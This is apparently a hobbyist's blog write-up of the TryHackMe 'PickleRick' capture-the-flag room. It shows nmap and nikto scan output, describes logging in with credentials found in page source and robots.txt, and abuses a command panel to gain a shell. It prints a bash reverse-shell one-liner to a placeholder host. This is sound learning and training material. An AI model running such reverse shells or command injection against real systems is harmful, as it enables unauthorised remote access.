PickleRick

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Created on Sat. 02 May 2020



Today I completed an other room on tryhackme with a Rick and Morty theme to it!

I am still a noob and I did do a few errors while trying to break into this machine.

Reconnaissance

As usual I scanned the IP provided by tryhackme to see what services are running on the machine.

          
            Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-02 14:24 CEST
            Pre-scan script results:
            | broadcast-avahi-dos:
            |   Discovered hosts:
            |     224.0.0.251
            |   After NULL UDP avahi packet DoS (CVE-2011-1002).
            |_  Hosts are all up (not vulnerable).
            Nmap scan report for 10.10.166.40
            Host is up (0.020s latency).
            Not shown: 998 closed ports
            PORT   STATE SERVICE VERSION
            22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
            80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
            | http-cookie-flags:
            |   /login.php:
            |     PHPSESSID:
            |_      httponly flag not set
            |_http-csrf: Couldn't find any CSRF vulnerabilities.
            |_http-dombased-xss: Couldn't find any DOM based XSS.
            | http-enum:
            |   /login.php: Possible admin folder
            |_  /robots.txt: Robots file
            | http-fileupload-exploiter:
            |
            |     Couldn't find a file-type field.
            |
            |_    Couldn't find a file-type field.
            |_http-server-header: Apache/2.4.18 (Ubuntu)
            | http-sql-injection:
            |   Possible sqli for queries:
            |     http://10.10.166.40/assets/r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&%5b%5d,o?w%28a%29
            .remove%28%29%2cw.merge%28%5b%5d%2co.childNodes%29%29%7d%2cw.fn.load=function%28e%2ct%2cn%29%7bvar%27%20OR%20sql
            spider&%5bt.createElement%28o%5b1%5d%29%5d%3a%28o=xe%28%5be%5d%2ct%2ca%29%2ca&=&a.length=
            |     http://10.10.166.40/assets/r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&%5b%5d,o?w%28a%29
            .remove%28%29%2cw.merge%28%5b%5d%2co.childNodes%29%29%7d%2cw.fn.load=function%28e%2ct%2cn%29%7bvar&%5bt.createEl
            ement%28o%5b1%5d%29%5d%3a%28o=xe%28%5be%5d%2ct%2ca%29%2ca%27%20OR%20sqlspider&=&a.length=
            |     http://10.10.166.40/assets/r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&%5b%5d,o?w%28a%29
            .remove%28%29%2cw.merge%28%5b%5d%2co.childNodes%29%29%7d%2cw.fn.load=function%28e%2ct%2cn%29%7bvar&%5bt.createEl
            ement%28o%5b1%5d%29%5d%3a%28o=xe%28%5be%5d%2ct%2ca%29%2ca&=%27%20OR%20sqlspider&a.length=
            |     http://10.10.166.40/assets/r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&%5b%5d,o?w%28a%29
            .remove%28%29%2cw.merge%28%5b%5d%2co.childNodes%29%29%7d%2cw.fn.load=function%28e%2ct%2cn%29%7bvar&%5bt.createEl
            ement%28o%5b1%5d%29%5d%3a%28o=xe%28%5be%5d%2ct%2ca%29%2ca&=&a.length=%27%20OR%20sqlspider
            |     http://10.10.166.40/assets/?C=D%3bO%3dA%27%20OR%20sqlspider
            |     http://10.10.166.40/assets/?C=N%3bO%3dD%27%20OR%20sqlspider
            |     http://10.10.166.40/assets/?C=N%3bO%3dA%27%20OR%20sqlspider
            |_http-stored-xss: Couldnt find any stored XSS vulnerabilities.
            Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

            Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
            Nmap done: 1 IP address (1 host up) scanned in 359.68 seconds

            #[p4p1@computer thm/]$ nikto -host 10.10.110.84
            - Nikto v2.1.5
            ---------------------------------------------------------------------------
            + Target IP:          10.10.110.84
            + Target Hostname:    10.10.110.84
            + Target Port:        80
            + Start Time:         2020-05-02 18:33:22 (GMT2)
            ---------------------------------------------------------------------------
            + Server: Apache/2.4.18 (Ubuntu)
            + Server leaks inodes via ETags, header found with file /, fields: 0x426 0x5818ccf125686
            + The anti-clickjacking X-Frame-Options header is not present.
            + No CGI Directories found (use '-C all' to force check all possible dirs)
            + "robots.txt" retrieved but it does not contain any 'disallow' entries (which is odd).
            + Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
            + Cookie PHPSESSID created without the httponly flag
            + OSVDB-3233: /icons/README: Apache default file found.
            + /login.php: Admin login page/section found.
            + 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
            + End Time:           2020-05-02 18:44:53 (GMT2) (376 seconds)
            --------------------------------------------------------------------------
          
        

While the nikto and nmap scans where running I also decided to run a few scans with OWASP zap proxy just in case.

With all of the scans finished and all of this information I went on the main page to explore a little. I then opened the source code and found a username.

With that out of my way their is obviously a login page somewhere. Looking back at the scans it was pretty obvious the login page was in /login.php. But the scans also returned some information about robots.txt so I decided I should visit that too. Opening the robots.txt file I see a string that resembles a password so I decided to go on the login page and try it.

Command Injection

From here after logging in with ricks account there was a command panel. Seeing this I wanted to inject some kind of reverse shell so that I could mess around a lot more! So I began by seeing who I was and what was inside of the directory.

I was in /var/www/html and my user was: www-data. With sudo -l I saw that I had basically root access from the get go, so no need for any Privilege Escalation today. In the current working directory of the user www-data the first flag is located in a .txt file. With also a clue.txt I opened the file in my browser and it gave me the position of the second flag is in the /home/ folder. When running the cat command inside of the shell there was an error and I could not run the cat command. So I figured I needed a proper shell either a reverse one or with a phpbash script. So I uploaded php bash but the script wasn't working for some reason.

After a lot of trial and error with python reverse shells not understanding why that didn't work I looked up at an other write up and found that you could do a bash reverse shell and after running it encapsulated in a bash -c ''. I had a reverse shell:

          
            bash -c 'bash -i >& /dev/tcp/x.x.x.x/8080 0>&1'
          
        

With the reverse shell working I then displayed the flag in the home folder and with the prior knowledge that the user could run sudo commands without password I displayed the flag located in the root directory


In conclusion this room was easy but I felt very rusty I took a 3 day break and it really didn't help I need to get back in the flow of solving those rooms.

Thank you for reading please check out my other write ups and share this page.

My tryhackme account